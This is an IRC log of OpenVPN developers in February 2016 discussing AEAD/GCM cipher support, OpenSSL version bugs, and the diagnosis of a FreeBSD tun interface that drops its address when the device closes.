[~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 250 seconds] 14:20 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 15:16 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 15:20 -!- felixir [~arby@88-105-94-178.dynamic.dsl.as9105.com] has joined #openvpn-devel 16:22 -!- felixir [~arby@88-105-94-178.dynamic.dsl.as9105.com] has left #openvpn-devel ["Leaving"] 16:52 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has joined #openvpn-devel 19:02 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 22:17 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 22:41 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Sun Feb 14 2016 05:30 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 06:46 <@syzzer> hm, this guy disappeared before I could even answer him... 06:48 <@syzzer> looking at plaisthos' comments on the AEAD patch I just remembered, I think we should make server also use P_DATA_V2 if the client uses P_DATA_V2. 06:49 <@syzzer> that will gives us the alignment fixes and authenticated opcodes in AEAD modes for server->client traffic too, at the expense of 3 bytes 10:03 -!- arrmo [~arrmo@pool-108-19-57-67.dllstx.fios.verizon.net] has quit [Remote host closed the connection] 10:08 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 10:19 <@syzzer> hrmpf, SSL_get_certificate() - part of jjk's fix for the cert-expiry on openssl - is broken in OpenSSL 1.0.1 <= 1.0.1e 10:21 <@syzzer> but the good news about that is that apparently people don't care for those versions too much, and I can remove my extra cipher_ctx_set_tag() call in the AEAD code too (that is needed for openssl 1.0.1-1.0.1d) 10:21 <@cron2> those versions are all broken, aren't they? 10:22 <@syzzer> sure, but distro's tend to pick a version and backport critical fixes for 'eternity'... 10:26 <@syzzer> but I suppose we can just mention this in the commit message and have people fix their openssl if required. I'm guessing not many people use 1.0.1-1.0.1d anyway. And for the AEAD thing, it's just AEAD modes that won't work. 10:27 <@cron2> good enough 10:50 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 13:51 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 14:18 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 14:38 < ValdikSS> https://groups.google.com/forum/#!topic/tunnelblick-discuss/ZSg6VqoIpJM 14:38 <@vpnHelper> Title: Google Groups (at groups.google.com) 15:08 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Read error: Connection reset by peer] 15:18 <@plaisthos> apart from the fact that pushing 12991 routes might be terrible slow 15:19 <@plaisthos> but the problem seems ifconfig related 15:19 <@plaisthos> routes are added *after* ifconfig 15:19 <@plaisthos> so that problem whatever it is is not route related 15:30 -!- arlen [~arlen@jarvis.arlen.io] has quit [Ping timeout: 240 seconds] 15:31 <@plaisthos> I would have thought I ACKed cron's v3 of his patch before the aead v2 15:33 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 15:34 * cron2 was busy playing go this weekend, so couldn't make a v3 15:35 <@cron2> tomorrow evening will be busy merging stuff, making v3, reviewing and merging Selva's service stuff 15:38 <@plaisthos> cron2: :) 15:38 <@plaisthos> no stress 15:38 <@plaisthos> Selva doing a lot of useful patches in the last months 18:23 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:47 -!- eliasp_ [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection] 19:49 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 22:23 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 272 seconds] 22:23 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel --- Day changed Mon Feb 15 2016 01:07 -!- Netsplit *.net <-> *.split quits: @andj, luckman212 01:07 -!- Netsplit *.net <-> *.split quits: wiz, lev__, @d12fk 01:08 -!- Netsplit over, joins: andj 01:08 -!- mode/#openvpn-devel [+o andj] by ChanServ 01:08 -!- Netsplit over, joins: wiz 01:08 -!- Netsplit over, joins: d12fk 01:08 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 01:10 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 01:37 <@cron2> syzzer: will do 02:35 <@mattock_> morning 02:37 <@mattock_> meeting today? 02:43 <@cron2> syzzer: http://xkcd.com/1172/ 02:43 <@vpnHelper> Title: xkcd: Workflow (at xkcd.com) 02:43 <@cron2> mattock_: I'm here. No particular topics (except merging syzzer's and selva's stuff) 02:43 <@cron2> ((which I'm going to do tonight)) 02:58 -!- reators [~holger@2001:1a80:2000:2:b8d9:6acb:730b:e587] has joined #openvpn-devel 03:11 <@mattock_> syzzer: the time to move to SHA-2 signatures in Windows installers seems to have come 04:01 <@vpnHelper> RSS Update - tickets: #661: "TUN/TAP I/O operation aborted, exiting" only on Windows 7 64bits client <https://community.openvpn.net/openvpn/ticket/661> 05:18 < ValdikSS> Guys, money, bitcoin donation? 07:00 -!- krzee [6820f29d@openvpn/community/support/krzee] has joined #openvpn-devel 07:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 07:01 <@mattock_> let's skip today's meeting, then, if there are no pressing issues 07:01 <@mattock_> or discussion points 07:01 <+krzee> nice i got here in time to skip a meeting :D 07:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 07:17 -!- mattock_ is now known as mattock 07:28 <@cron2> mattock_: moneyz! 07:54 <@mattock> oh that one :) 08:19 <@syzzer> mattock: I'm here too 08:28 -!- Netsplit *.net <-> *.split quits: @andj, arlen 08:29 -!- Netsplit over, joins: andj 08:29 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:31 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 08:33 <@vpnHelper> RSS Update - wishlistfeed: Automatic connection on startup with password save <http://forums.openvpn.net/topic21019.html> 09:46 <@mattock> we can have an informal chat then :) 09:46 <@mattock> or is it "not formal" or "uninformal", not sure :P 10:24 <@cron2> whatever :) 12:01 <@cron2> d12fk: if you're around, could you have a look at Selva's "Send stdout and stderr of OpenVPN started by interactive service to NUL" patch? 12:01 <@cron2> It looks good to me, but I might overlook windows nuances 13:07 <@mattock> so how informal is today's meeting? :P 13:07 * cron2 is here :) (staring at AEAD 08v2) 13:07 <@mattock> hi 13:07 <@mattock> syzzer: there? 13:07 <@cron2> hi :) 13:12 * cron2 congratulates syzzer to the MSG_TEST(flags) change to dmsg()... pulls all the gc stuff out of the critical code path in openvpn_encrypt_aead)= 13:12 <@cron2> () even 13:19 <@syzzer> mattock: yes, I am :) 13:21 <@cron2> syzzer: how will openssl 1.0.1-1.0.1c fail? "blow up!" or "do funny things and crypto is not good"? 13:22 <@syzzer> fail to encrypt/decrypt packets, and drop everything as a result (while screaming loudly) 13:22 <@cron2> this is good enough for me :) 13:22 <@mattock> hi syzzer! 13:24 <+krzee> lol 13:25 <@syzzer> hi mattock :) 13:25 <+krzee> mattock: 'informal' was correct 13:25 <@cron2> we need champaign glasses... everybody just standing around, saying hi, drinking 13:26 <@mattock> krzee: yeah, but in case of "flammable" and "inflammable" it's not :D 13:27 <+krzee> yes, english is weird 13:27 <@mattock> +1 13:27 <@syzzer> heh, no champaign here, but I'll get a cold beer from the fridge ;) 13:27 <@cron2> cheers! 13:27 <+krzee> even the word 'weird' is weird, it totally defies the 'i before e' rule 13:28 <@syzzer> you've been very busy cron2, lot's of github mails in my inbox 13:30 <@syzzer> hm, that's written 'lots of' according to google :p 13:30 <@cron2> colleage at work looked at various github projects today, and pointed out that there are so many pull requests... I should have done something totally different, but was distracted... :-) 13:30 <@cron2> and indeed, too many pull requests in various states of deterioration, too many open trac tickets, ... :( 13:31 <@mattock> well, we do what we can 13:31 <@cron2> why exactly is OpenSSL using id-aes... for AEAD ciphers...? 13:34 <@syzzer> yeah, no clue... 13:35 <@cron2> so, mattock, let's chat idly about moneyz :) 13:41 <@mattock> :P 13:45 <@cron2> Testing cipher AES-192-GCM... OK 13:45 <@cron2> Testing cipher AES-256-GCM... OK 13:46 <@syzzer> ah, you've applied 9/10 too 13:46 <@cron2> yes and no - I have, but that's the polar build 13:46 <@syzzer> ah, right 13:46 <@cron2> All 3 tests passed 13:46 <@cron2> ! 13:47 <@syzzer> \o/ 13:48 <@cron2> indeed :-) 13:49 * cron2 stares at 10/10 right now... push_option_fmt() basically just stuffs "fmt+args" into the option list, without concern for buffer size or anything, and then the normal send_push_reply() can walk through the list and build buffer, contiunations, etc. - right? 13:50 <@cron2> when is o->gc cleaned up? 13:52 <@syzzer> yes, that the idea - if you do it before all the continuation code, that will take care of it for you 13:52 <@syzzer> o->gc is cleaned up when a session ends, iirc 13:54 <@cron2> well, since push_option() is using &o->gc as well, it should better be sane - in any case, it's not making things *worse* 13:56 <@cron2> mmmh, talking about gc... there's still a route-option-list gc cleanup patch from d12fk missing... 13:57 <@cron2> > + * The string added to the push options is allocated in o->gc, so fmt may be 13:57 <@cron2> > + * free'd by the caller before the option is sent to the peer. 13:57 <@cron2> "fmt may be free'd"? nobody frees "fmt" .-) 13:58 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 14:00 <@syzzer> when the struct options is copied from the global context to a child context, gc_detach() is called. It is free()'d again by multi_close_instance(). 14:00 <@syzzer> hm, let me see 14:03 <@syzzer> ah, since I only put static strings in there right now. An earlier implementation did not. 14:04 <@cron2> but even then - whether or not fmt can be free()d is never really relevant, given that all v*printf() variants have to copy fmt and insert all the %xxx stuff 14:04 <@cron2> I have mailed a suggestion how to reword that 14:04 <@cron2> Testing cipher AES-128-GCM... OK 14:05 <@cron2> openssl build 14:06 <@syzzer> yes, your wording is much better 14:06 <@syzzer> I'll send a v2 14:09 <@cron2> ================== 14:09 <@cron2> All 3 tests passed 14:09 <@cron2> ================== 14:14 <@vpnHelper> RSS Update - gitrepo: Add cipher name translation for OpenSSL. <https://github.com/OpenVPN/openvpn/commit/44dc5d309cf04ebd9fc35b5f97be631fd99e22d6> || Add AEAD cipher support (GCM) <https://github.com/OpenVPN/openvpn/commit/66407e11c4746e564bd4285e9c1a1805ecfd82bd> 14:14 <@cron2> vpnHelper, you are drunk... 14:18 <+krzee> !beer 14:19 <+krzee> =/ 14:21 <@syzzer> v2 of 10/10 on the list :) 14:26 <@vpnHelper> RSS Update - gitrepo: Add preliminary server-side support for negotiable crypto parameters <https://github.com/OpenVPN/openvpn/commit/3a5a46cf2b7f6a8b8520c2513a8054deb48bfcbe> 14:27 <@cron2> getting there...! 14:28 <@cron2> Selva's patches on the list most of the lacking iservice bits (and I tend to ACK&merge, but would prefer someone from the windows crew to actually look at them first :) ) 14:29 <@cron2> there's lev__'s "recursive routing" patch in the queue, and plaisthos' master timeout stuff... 14:30 <@cron2> and per-client cipher... "speak AEAD to clients that can do that, and traditional pre-negotiatiated stuff to the rest" 14:30 <@cron2> and we need to push James to actually release an iOS client with the more recent goodies... 14:30 <@cron2> and *now* I need to go and watch TV :-) 14:30 <@syzzer> enjoy :) 14:30 <@cron2> (since mattock isn't willing to part with his money anyway...) 14:33 <@mattock> nope :D 14:35 <@mattock> and james should release a 3.x client with --block-outside-dns, if such is not yet available 14:36 <@mattock> I'm not sure if he added that functionality to 3.x or not 14:46 <@plaisthos> enjoy 14:47 <@plaisthos> aead in master, whee! 14:47 <@plaisthos> one step close to 2.4alpha1 14:47 <@syzzer> yes, me happy :D 14:52 <@plaisthos> I should make a peferomance test on my android device %) 15:03 -!- krzee [6820f29d@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 15:06 <@syzzer> what surprises me is that on my local machine, for both openssl and polarssl, CBC is faster that GCM 15:06 <@syzzer> measures using iperf over tcp 15:07 <@syzzer> polarssl does ~ 170 vs 220 mbit, openssl does ~ 350 vs 380 mbit 15:15 <@syzzer> that was polar 1.3.15 / openssl 1.0.1r 15:16 <@syzzer> openssl 1.0.2f is even a bit faster: ~ 360 vs 390 mbit 15:32 <@cron2> syzzer: this is not what the ancient lore tells us! 15:33 <@cron2> mmmh, interesting 15:33 <@cron2> ubuntu 12.04 fails "make test" 15:33 <@cron2> Mon Feb 15 22:32:15 2016 cipher_ctx_update_ad: EVP_CipherUpdate() failed 15:33 <@cron2> Testing cipher AES-256-GCM... FAILED 15:34 <@cron2> library versions: OpenSSL 1.0.1 15:34 <@syzzer> openssl 1.0.1-1.0.1c / 15:34 <@syzzer> ah, there we go... 15:35 * cron2 wonders whether it might be less painful to have a configure check for "only do AEAD if this is not a known-broken openssl series" in the long run 15:35 <@cron2> because we *will* get complaints otherwise... 15:36 <@syzzer> yeah... 15:36 <@cron2> and I think --version should give a hint on whether this can do AEAD or not... 15:36 <@syzzer> yes, but just a hint, if e.g. ubuntu decides to backport the fix, we will still not support AEAD 15:37 <@cron2> no, more like the [LZO] [LZ4] stuff in --version 15:37 <@syzzer> ah, yes 15:37 <@cron2> so it's immediately obvious when looking at a log 16:05 <@syzzer> so, are you proposing to disable AEAD modes or just the AEAD tests if a potentially broken openssl is detected? 16:21 <@vpnHelper> RSS Update - wishlistfeed: What if no system tray? <http://forums.openvpn.net/topic21022.html> --- Day changed Tue Feb 16 2016 00:43 -!- krzee [6820f29d@openvpn/community/support/krzee] has joined #openvpn-devel 00:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 01:50 -!- wiz [~sid1@irc-gw.wiz.network] has quit [Read error: Connection reset by peer] 01:50 -!- wiz [~sid1@irc-gw.wiz.network] has joined #openvpn-devel 01:59 <@cron2> syzzer: I'd prefer "disable completely" - because otherwise user will try, and fail, and complain... (or worse, the server-side code will eventually auto-configure itself "oh, incoming client with AEAD, let's turn it on!" and fail...) 02:00 <@cron2> or you have a client on ubuntu1204 which talks to a AEAD-enabled server, pushes back "cipher aead" and things blow up 02:18 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 03:07 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:10 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:50 <@plaisthos> we might want to include some of our IV_ stuff into IV_PROTO before 2.4 release 04:50 <@cron2> ? 04:51 <@cron2> like, "IV_PROTO=3" = "IV_NCP=2, IV_PROTO=2, IV_LZO_v2=1, IV_LZ4_v2=1"? 04:51 <@plaisthos> since 2.4 is not released, we could remove things like IV_RGI6 and IV_STUB_v2 04:51 <@plaisthos> yes 04:51 <@plaisthos> for LZ4 and lzo I am not sure 04:51 <@plaisthos> unless we decide to always include lz4 04:52 <@cron2> I agree with the idea, though we need to think more about the details :) 04:52 <@plaisthos> James already internally has something like this 04:52 <@cron2> (and synchronize with James...) 04:52 <@plaisthos> he internally treads IV_NCP=2 + comp v2 + PROTO 2 as protocol 2 iirc 04:53 <@plaisthos> once 2.4 is out we have to keep the IV_RGI etc. forever 04:53 <@cron2> well, some of them are implicit if IV_VER=2.4 - like RGI, or STUB_v2 04:54 <@cron2> but I agree, some overhaul is needed 04:55 <@plaisthos> cron2: yeah. I like PROTO >=3 more than checking for 2.4 ;) 04:58 <@plaisthos> I just added the options to the manpage and was surprised how many we have 04:59 <@cron2> I see this in the server logs whenever a git master or Connect client connects... it's quite a list 05:00 <@cron2> the initial idea was "flag variables" (IV_LZO=1), but that doesn't scale... 05:00 <@plaisthos> yes with push-peer-info 13 with Android 05:01 <@plaisthos> http://pastebin.com/UwK2ANU3 05:01 <@cron2> yay 06:09 <@plaisthos> anyway, in the meantime, lets keep the manpage updated :) 06:09 <@plaisthos> (patch send to mailing list) 06:36 <@cron2> s/IV_UI_VER/IV_GUI_VER/ 06:41 <@plaisthos> oh? 06:41 <@cron2> look at your pastebin :) 06:41 <@plaisthos> ah 06:41 <@plaisthos> right 06:42 <@plaisthos> and missing of in front of AES-GCM-128 11:25 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 12:17 -!- saik0 [~saik0@unaffiliated/saik0] has joined #openvpn-devel 12:57 <@syzzer> re 12.04 / broken OpenSSL: I think I prefer just adding an #ifdef OPENSSL_VERSION < 0x10001040 with the extra call to fix it. That's less cumbersome than checking openssl version in configure.ac and easy enough to remove once we drop support for 1.0.1. 13:09 < saik0> On freebsd 10.2-release host and jail, openvpn 2.3.10 (from ports). Trying to setup a number of jailed servers. Each time openvpn closes the tun it goes down, the addr/mask is unset, and my route is dropped from the table. This is problematic, as they cant be restored from inside the jail. 13:11 < saik0> My first guess was commenting out https://github.com/OpenVPN/openvpn/blob/v2.3.10/src/openvpn/tun.c#L2391 void close_tun (struct tuntap *tt)if (tt && tt->persistent_if ) {close_tun_generic (tt) 13:12 <@vpnHelper> Title: openvpn/tun.c at v2.3.10 · OpenVPN/openvpn · GitHub (at github.com) 13:12 < saik0> Gah, cant clipboard 13:15 < saik0> Tried not calling close_tun_generic inside freebsd def of close_tun if (tt && tt->persistent_if ) as a test, but the same issue persists 13:16 < saik0> Any advice as to where to look next? 13:33 -!- klow [~klong@96.8.127.198] has joined #openvpn-devel 13:33 < klow> plaisthos: you around ? 13:37 <@syzzer> saik0: I've seen similar behaviour on linux, but did not look into it. It seemed even machine-dependent. Another machine with the same OS did not remove the tun devices. 13:38 <@syzzer> so I can't help you out, if you do figure it out, I would like to know how to fix it ;) 13:40 -!- krzee [6820f29d@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 13:40 <@cron2> saik0: just use --ifconfig-noexec and done 13:40 <@cron2> ah, no, wrong one 13:41 <@cron2> precreate the tun ("ifconfig tun0 create") and use --dev tun0, then openvpn should not destroy it on closing. If it does, use openvpn-devel - this got fixed some time, but I'm not sure if the fix made 2.3 13:41 <@cron2> syzzer: the intention is: *if* openvpn creates the tun interface, then destroy it on exit. If it was already there, leave it alone. 13:42 <@cron2> but across umpteen platforms that all behave differently in that regard, I'm not sure if I caught all cases yet 13:44 <@syzzer> cron2: yes, this is what I do for the company tests: pre-create tun5/tun6/..., use --dev tunX, but sometimes, not always in the same test even, the tunX is destroyed. While the openvpn process runs as an unprivileged user. 13:50 <@cron2> syzzer: I claim this cannot happen unless you happen to have two openvpn processes running at the same time that trample across each other's feet - but if you can create a log file where the tunX goes missing at the end, please let me know by all means 13:50 <@cron2> (I regularily manage to have two t_client tests run at the same time, and then everything goes wonky) 13:51 <@syzzer> cron2: it might be something in the test framework, not sure. I'll let you know if I have better bug reports ;) 13:51 < saik0> cron2: the tun and routes are preallocated on the host system 13:52 < saik0> addr on the tun as well 13:52 <@cron2> saik0: in that case, try openvpn-devel 13:52 <@cron2> it has tons of fixes for various BSDs 13:53 <@cron2> if it still destroys the tun on exit, please post a log file with --verb 3 13:53 <@cron2> to our trac 13:54 < saik0> cron2: tunX not destroyed, but if goes down, addr unset, routes destroyed 13:54 < klow> hey syzzer / cron2 - My company is looking for someone with in-depth openvpn source knowledge to assist our developer with some modifications , it is a paid opportunity of course - would either of you have interested/availability or other persons to suggest ? 13:54 < klow> this is a short term engagement not a full time 13:56 < klow> feel free to PM me here on irc 14:02 <@syzzer> klow: see pm :) 14:04 <@cron2> saik0: please show log :) 14:04 <@cron2> but you might get *that* bit solved with --ifconfig-noexec 14:06 < saik0> cron2: compiling openvpn-devel, snapshot of https://github.com/OpenVPN/openvpn/commit/5f5229. IIRC It still happened in master, which I was playing with last night to see how AEAD was performing 14:08 < saik0> i have --ifconfig-noexec --route-noexec. Not ven any ifconfig or route lines, --mode server --tls-server 14:11 <@cron2> saik0: please show log (I seem to be repeating myself) 14:12 < saik0> cron2: Youre getting a log of -devel. Had to compile it first! 14:13 <@cron2> "pkg install openvpn-devel" works :-) - it's not bleeding edge, about two months old - but that part didn't change recently 14:13 <@cron2> ecrist: btw, you could update openvpn-devel eventually :) 14:24 -!- klow [~klong@96.8.127.198] has quit [Ping timeout: 264 seconds] 14:24 < saik0> cron2: http://pastebin.com/QsUnJ0Mj 15:32 <@cron2> mmmh 15:33 <@cron2> I'm not sure what is happening there, but it does not seem to be openvpn's doing 15:33 <@cron2> if we're doing it, we'd see "ifconfig tun0 destroy" in the log (and it would be completely *gone*, not just without IP address) 15:36 <@cron2> it's not openvpn, it's freebsd itself 15:37 <@cron2> "accessing and closing the /dev/tun0 file" will cause the interface to go down and lose it's IP addresses 15:37 <@cron2> just reproduced by doing "sudo dd if=/dev/tun0 of=/dev/null" (and ctrl-c'ing) - ip gone, interface down 15:39 <@cron2> man tun 15:39 <@cron2> says 15:40 <@cron2> On the last close of the data device, by default, the interface is brought down (as if with ifconfig tunN down). 15:40 <@cron2> ... and that's what is killing the IP addresses on BSDs 15:40 * cron2 wonders what the "by default" refers to... 16:00 < saik0> cron2: Its stale or just plain wrong 16:01 < saik0> https://github.com/freebsd/freebsd/blob/releng/10.2/sys/net/if_tun.c#L466 16:01 <@vpnHelper> Title: freebsd/if_tun.c at releng/10.2 · freebsd/freebsd · GitHub (at github.com) 16:01 < saik0> unconditionally set down 16:37 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 17:28 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 17:34 -!- woodrow_ [sid13914@gateway/web/irccloud.com/x-cjxvaesxnjrdypje] has joined #openvpn-devel 17:41 -!- Netsplit *.net <-> *.split quits: woodrow, @andj 17:41 -!- Netsplit over, joins: andj 17:41 -!- mode/#openvpn-devel [+o andj] by ChanServ 17:42 -!- woodrow_ is now known as woodrow 18:02 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has quit [Remote host closed the connection] 18:30 -!- klow [~klong@c-67-161-106-89.hsd1.wa.comcast.net] has joined #openvpn-devel 19:30 -!- wiz [~sid1@irc-gw.wiz.network] has quit [Remote host closed the connection] 19:34 -!- wiz [~sid1@irc-gw.wiz.network] has joined #openvpn-devel 21:01 <@ecrist> cron2: I'll try to get it done tomorrow. 23:10 -!- klow [~klong@c-67-161-106-89.hsd1.wa.comcast.net] has quit [Quit: Leaving] --- Day changed Wed Feb 17 2016 01:51 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Remote host closed the connection] 01:52 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 01:53 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 01:53 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 01:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] 01:57 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:04 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:27 <@syzzer> https://googleonlinesecurity.blogspot.nl/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html 02:27 <@vpnHelper> Title: Google Online Security Blog: CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow (at googleonlinesecurity.blogspot.nl) 02:32 <@cron2> yeah, seen this yesterday. Fun. (Great that most of my systems are FreeBSD :) ) 03:34 -!- dazo_afk is now known as dazo 03:49 <@plaisthos> that one is really bad 03:50 <@plaisthos> Android is probally also not affected since it uses BSD libc, too 03:52 <@mattock_> how do I break an openvpn so that it exists before the management interface is up? 03:52 <@mattock_> I'm testing Selva's GUI PR and need to figure that out 03:56 -!- Netsplit *.net <-> *.split quits: rasengan, s7r, @plaisthos, ValdikSS 03:56 -!- valdikss [~valdikss@2a02:7aa0:1619::2c32:9c23] has joined #openvpn-devel 03:56 -!- Netsplit over, joins: plaisthos 03:56 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:59 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 04:07 -!- Netsplit *.net <-> *.split quits: ender|, s7r, @plaisthos 04:07 -!- Netsplit over, joins: s7r, plaisthos 04:07 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 04:11 -!- rasengan [sid136612@pdpc/corporate-sponsor/privateinternetaccess.com/rasengan] has joined #openvpn-devel 04:12 -!- Netsplit *.net <-> *.split quits: floppym 04:12 -!- Netsplit over, joins: floppym 04:45 <@cron2> mattock_: just put garbage into the config file - "THISISBROKEN" on a single line works nicely 04:53 -!- Netsplit *.net <-> *.split quits: woodrow, ender| 04:53 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 05:03 -!- woodrow [sid13914@gateway/web/irccloud.com/x-mgopnhxybxfgdruc] has joined #openvpn-devel 05:08 -!- Netsplit *.net <-> *.split quits: floppym, rasengan, @cron2, @dazo, @plaisthos, @syzzer, reators, @andj, riddle 05:08 -!- Netsplit over, joins: plaisthos 05:08 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:09 -!- Netsplit over, joins: andj 05:09 -!- mode/#openvpn-devel [+o andj] by ChanServ 05:09 -!- Netsplit over, joins: floppym 05:09 -!- syzzer [~syzzer@2001:610:697::12] has joined #openvpn-devel 05:10 -!- syzzer [~syzzer@2001:610:697::12] has quit [Changing host] 05:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:10 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:13 -!- riddle [~decadance@us.yunix.net] has joined #openvpn-devel 05:14 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:14 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:14 -!- reators [~holger@2001:1a80:2000:2:1168:1b70:d5cd:f13c] has joined #openvpn-devel 05:19 -!- rasengan [sid136612@pdpc/corporate-sponsor/privateinternetaccess.com/rasengan] has joined #openvpn-devel 05:44 -!- Netsplit *.net <-> *.split quits: wiz, riddle, @d12fk 05:44 -!- Netsplit over, joins: d12fk 05:44 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 05:44 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 05:45 -!- Netsplit over, joins: wiz 05:54 -!- Netsplit *.net <-> *.split quits: @mattock_ 05:55 -!- Netsplit over, joins: mattock_ 05:55 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 05:57 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] --- Log closed Wed Feb 17 06:03:20 2016 --- Log opened Wed Feb 17 07:16:00 2016 07:16 -!- ecrist [~ecrist@freebsd/contributor/openvpn.ecrist] has joined #openvpn-devel 07:16 -!- Irssi: #openvpn-devel: Total of 22 nicks [5 ops, 0 halfops, 0 voices, 17 normal] 07:16 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:16 -!- Irssi: Join to #openvpn-devel was synced in 2 secs 08:49 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 08:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:53 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:07 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 09:09 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:09 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:23 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 09:32 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:32 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:40 -!- _bt [~fred@unaffiliated/bt/x-192343] has joined #openvpn-devel 09:40 < _bt> hi samuli 09:40 < _bt> got your email re .nsi yes i'll have a look over this evening and sure i'd love to get involved with the upcoming changes :) 10:24 -!- ValdikSS [~valdikss@2a02:7aa0:1619::2c32:9c23] has quit [Ping timeout: 268 seconds] 10:30 -!- valdikss [~valdikss@95.215.45.33] has joined #openvpn-devel 11:24 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 11:25 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:25 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 11:43 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 11:43 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:47 -!- SCHAAP137 [SCHAPiE@unaffiliated/schaap137] has joined #openvpn-devel 11:47 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 268 seconds] 11:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 11:49 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 11:55 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 11:55 -!- mode/#openvpn-devel [+o cron2] by ChanServ 12:12 <@cron2> d12fk: around and alive? 13:14 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 15:08 -!- _bt [~fred@unaffiliated/bt/x-192343] has quit [Ping timeout: 268 seconds] 15:37 -!- roentgen [~roentgen@unaffiliated/roentgen] has quit [Ping timeout: 240 seconds] 15:52 -!- roentgen [~roentgen@unaffiliated/roentgen] has joined #openvpn-devel 15:53 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: It's nice to know that my launch to orbit won't have any pesky back-up systems 